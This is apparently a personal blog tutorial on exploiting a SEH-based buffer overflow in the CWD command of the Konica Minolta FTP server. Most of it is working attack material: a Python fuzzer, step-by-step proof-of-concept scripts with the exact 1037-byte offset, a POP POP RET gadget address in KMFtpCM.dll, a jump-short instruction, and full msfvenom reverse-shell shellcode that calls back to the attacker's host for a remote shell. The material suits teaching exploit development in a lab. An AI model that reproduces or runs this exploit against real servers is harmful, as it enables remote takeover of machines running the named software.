Windows SEH Based Buffer Overflow

Introduction

For this post, we will find and exploit a SEH vulnerability in the Konica Minolta FTP server.

All I used can be download here:

You can download scripts in my github:

If you don’t have a solid knowledge about stack based buffer overflow I highly encourage you to read my first blog post: here.


What do you mean about SEH?

SEH is an acronym for Structured Exception Handler. We can deal with exception handler when developers of a software try to handle potential exception(s) during the execution of the program, in many cases it is when we have a try-catch statement.

try {
  // Code to execute
} catch (Exception ...) {
  // Code to execute if an exception is raise in the try section
}

Two different types of exception handler exists:

  • The default Windows EH (UnhandledExceptionFilter) and
  • The EHs that you implement with a specific development language;

The thing that we have to know is that the SEH is composed of two pointers, the pointer of the next SEH if the current EH is not able to handle the raised exception and the pointer of the EH. This structure of 8 bytes (2x 4 bytes) is called SEH record.

That is what the SEH chain should look like:

overflow chain

To conclude, instead of overwriting EIP we will overwrite both the address of EH and the address of the next SHE in order to redirect the execution flow somewhere where we can execute the injected shellcode. Note, due to the fact it’s an 8 bytes structure we have to find instructions that will increase the stack by 8 bytes if we want to be redirected at the beginning of the next SEH. That’s where the POP POP RET method comes in.

More information about SEH can be found in the Microsoft System Journal of January 1997 or in the Corelan website.


Fuzzing the FTP Server

The first thing that we have to do when we have an unknown software is to fuzz it in order to find an entry point. The following Python script can be used to fuzz the CWD command in the FTP server.

#!/usr/bin/python
import sys
import socket

rhost = '192.168.1.100'

buffer = ["A"]
counter = 100
while len(buffer) <= 50:
  buffer.append("A" * counter)
  counter = counter + 200

for string in buffer:
    print '[-] Fuzzing: {}'.format(len(string))

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((rhost, 21))

        s.recv(2048)
        s.send('USER offsec\r\n')
        s.recv(2048)
        s.send('PASS offsec\r\n')
        s.recv(2048)
        s.send('CWD {}\r\n'.format(string))
        s.close()
    except socket.error as error:
        s.close()
        print error

After 1300 characters the server crash.

fuzzing register

As explained in the previous section, EIP is NOT overwritten, but if we take a look at the SEH record (ALT + S) we will see that we have a corrupted entry.

fuzzing seh overwritten


Controlling EH and NSEH Pointers

We can replicate the crash with this Python script.

#!/usr/bin/python
import sys
import socket

rhost = '192.168.1.100'

exploit = ''
exploit += '\x41' * 1300

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, 21))

    s.recv(2048)
    s.send('USER offsec\r\n')
    s.recv(2048)
    s.send('PASS offsec\r\n')
    s.recv(2048)
    s.send('CWD {}\r\n'.format(exploit))
    s.close()
    print 'Evil buffer sent!'

except Exception as error:
    print error
    sys.exit(1)

Let’s find with how many bytes we overwrite the next SEH pointer. Like in the first post I will use both the pattern_create tool and the mona.py findmsp command.

[email protected]:~/website/seh-exploit# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2B
[email protected]:~/website/seh-exploit#

Apparently, with 1037 bytes.

pattern create

Now, we update the PoC and let’s see if we control EH and the next SEH.

[..snip..]
exploit = ''
exploit += '\x41' * 1037  # Junk data
exploit += '\x42' * 4     # next SEH
exploit += '\x43' * 4     # EH
exploit += '\xcc' * 2000  # More junk
[..snip..]

As expected, the pointer of the EH is overwritten with our Cs and the pointer of the next SEH is overwritten with our Bs.

seh and nseh


Redirecting the Eecution Flow

Now, we have to find POP POP RET instructions in order to increase the stack pointer and to return at the beginning of the next SEH. For that, we use the seh mona.py command.

find seh addresses

The first address given by mona can be use. Note, ASLR, SafeSEH and Rebase are disabled. Moreover, it’s not an OS based address, that means we can use it for all OS versions.

0x1220401e : pop ecx # pop esi # ret  | ascii {PAGE_EXECUTE_READ} [KMFtpCM.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.0 (C:\Program Files\KONICA MINOLTA\FTP Utility\KMFtpCM.dll)

The updated PoC with the POP POP RET address should look like that:

[..snip..]
exploit = ''
exploit += '\x41' * 1037
exploit += '\x42' * 4
exploit += struct.pack('<L', 0x1220401e)
exploit += '\xcc' * 2000
[..snip..]

At the crash we can execute Shift + F9 to pass the execution and reach the breakpoint.

pop pop ret address

If we execute these three instructions we will increase the stack by 8 bytes and the stack pointer (ESP) will point at the address of the next SEH so when the RET instruction is executed we return at the beginning of the next SEH.

void nseh

Now, instead of using Bs for the next SEH we will use a JMP SHORT 8 instruction to jump over the EH address. We can use nasm_shell.rb from the Metasploit framework to find the hexadecimal representation of ASM instructions.

nasm > jmp short 08
00000000  EB06              jmp short 0x8
nasm >

We update the PoC with the JUMP SHORT 8 instruction:

[..snip..]
exploit = ''
exploit += '\x41' * 1037
exploit += struct.pack('<L', 0x06eb9090)
exploit += struct.pack('<L', 0x1220401e)
exploit += '\xcc' * 2000
[..snip..]

Finally, we successfully jump over the EH address.

jump over seh address


Remote Shell

For this post I will skip the research of badchars because I already explain how to do it in the first post. For this exploit badchars are: \x00\x0a\x0d

We can generate a reverse shell with msfvenom:

[email protected]:~/website/seh-exploit# msfvenom -p windows/shell_reverse_tcp LPORT=7734 LHOST=192.168.1.104 -v shellcode -f python -b '\x00\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1900 bytes
shellcode =  ""
shellcode += "\xda\xde\xba\x14\x94\xe3\x10\xd9\x74\x24\xf4\x5d"
shellcode += "\x31\xc9\xb1\x52\x83\xed\xfc\x31\x55\x13\x03\x41"
shellcode += "\x87\x01\xe5\x95\x4f\x47\x06\x65\x90\x28\x8e\x80"
shellcode += "\xa1\x68\xf4\xc1\x92\x58\x7e\x87\x1e\x12\xd2\x33"
shellcode += "\x94\x56\xfb\x34\x1d\xdc\xdd\x7b\x9e\x4d\x1d\x1a"
shellcode += "\x1c\x8c\x72\xfc\x1d\x5f\x87\xfd\x5a\x82\x6a\xaf"
shellcode += "\x33\xc8\xd9\x5f\x37\x84\xe1\xd4\x0b\x08\x62\x09"
shellcode += "\xdb\x2b\x43\x9c\x57\x72\x43\x1f\xbb\x0e\xca\x07"
shellcode += "\xd8\x2b\x84\xbc\x2a\xc7\x17\x14\x63\x28\xbb\x59"
shellcode += "\x4b\xdb\xc5\x9e\x6c\x04\xb0\xd6\x8e\xb9\xc3\x2d"
shellcode += "\xec\x65\x41\xb5\x56\xed\xf1\x11\x66\x22\x67\xd2"
shellcode += "\x64\x8f\xe3\xbc\x68\x0e\x27\xb7\x95\x9b\xc6\x17"
shellcode += "\x1c\xdf\xec\xb3\x44\xbb\x8d\xe2\x20\x6a\xb1\xf4"
shellcode += "\x8a\xd3\x17\x7f\x26\x07\x2a\x22\x2f\xe4\x07\xdc"
shellcode += "\xaf\x62\x1f\xaf\x9d\x2d\x8b\x27\xae\xa6\x15\xb0"
shellcode += "\xd1\x9c\xe2\x2e\x2c\x1f\x13\x67\xeb\x4b\x43\x1f"
shellcode += "\xda\xf3\x08\xdf\xe3\x21\x9e\x8f\x4b\x9a\x5f\x7f"
shellcode += "\x2c\x4a\x08\x95\xa3\xb5\x28\x96\x69\xde\xc3\x6d"
shellcode += "\xfa\x21\xbb\x6c\x92\xc9\xbe\x6e\x7c\x3c\x36\x88"
shellcode += "\xea\x50\x1e\x03\x83\xc9\x3b\xdf\x32\x15\x96\x9a"
shellcode += "\x75\x9d\x15\x5b\x3b\x56\x53\x4f\xac\x96\x2e\x2d"
shellcode += "\x7b\xa8\x84\x59\xe7\x3b\x43\x99\x6e\x20\xdc\xce"
shellcode += "\x27\x96\x15\x9a\xd5\x81\x8f\xb8\x27\x57\xf7\x78"
shellcode += "\xfc\xa4\xf6\x81\x71\x90\xdc\x91\x4f\x19\x59\xc5"
shellcode += "\x1f\x4c\x37\xb3\xd9\x26\xf9\x6d\xb0\x95\x53\xf9"
shellcode += "\x45\xd6\x63\x7f\x4a\x33\x12\x9f\xfb\xea\x63\xa0"
shellcode += "\x34\x7b\x64\xd9\x28\x1b\x8b\x30\xe9\x2b\xc6\x18"
shellcode += "\x58\xa4\x8f\xc9\xd8\xa9\x2f\x24\x1e\xd4\xb3\xcc"
shellcode += "\xdf\x23\xab\xa5\xda\x68\x6b\x56\x97\xe1\x1e\x58"
shellcode += "\x04\x01\x0b"
[email protected]:~/website/seh-exploit#

We add the shellcode to our PoC.

[..snip..]
exploit = ''
exploit += '\x41' * 1037
exploit += struct.pack('<L', 0x06eb9090)
exploit += struct.pack('<L', 0x1220401e)
exploit += shellcode
exploit += '\xcc' * (2000 - len(shellcode))
[..snip..]

After all, we successfully gain a reverse shell.

seh overflow final shell



break

Comments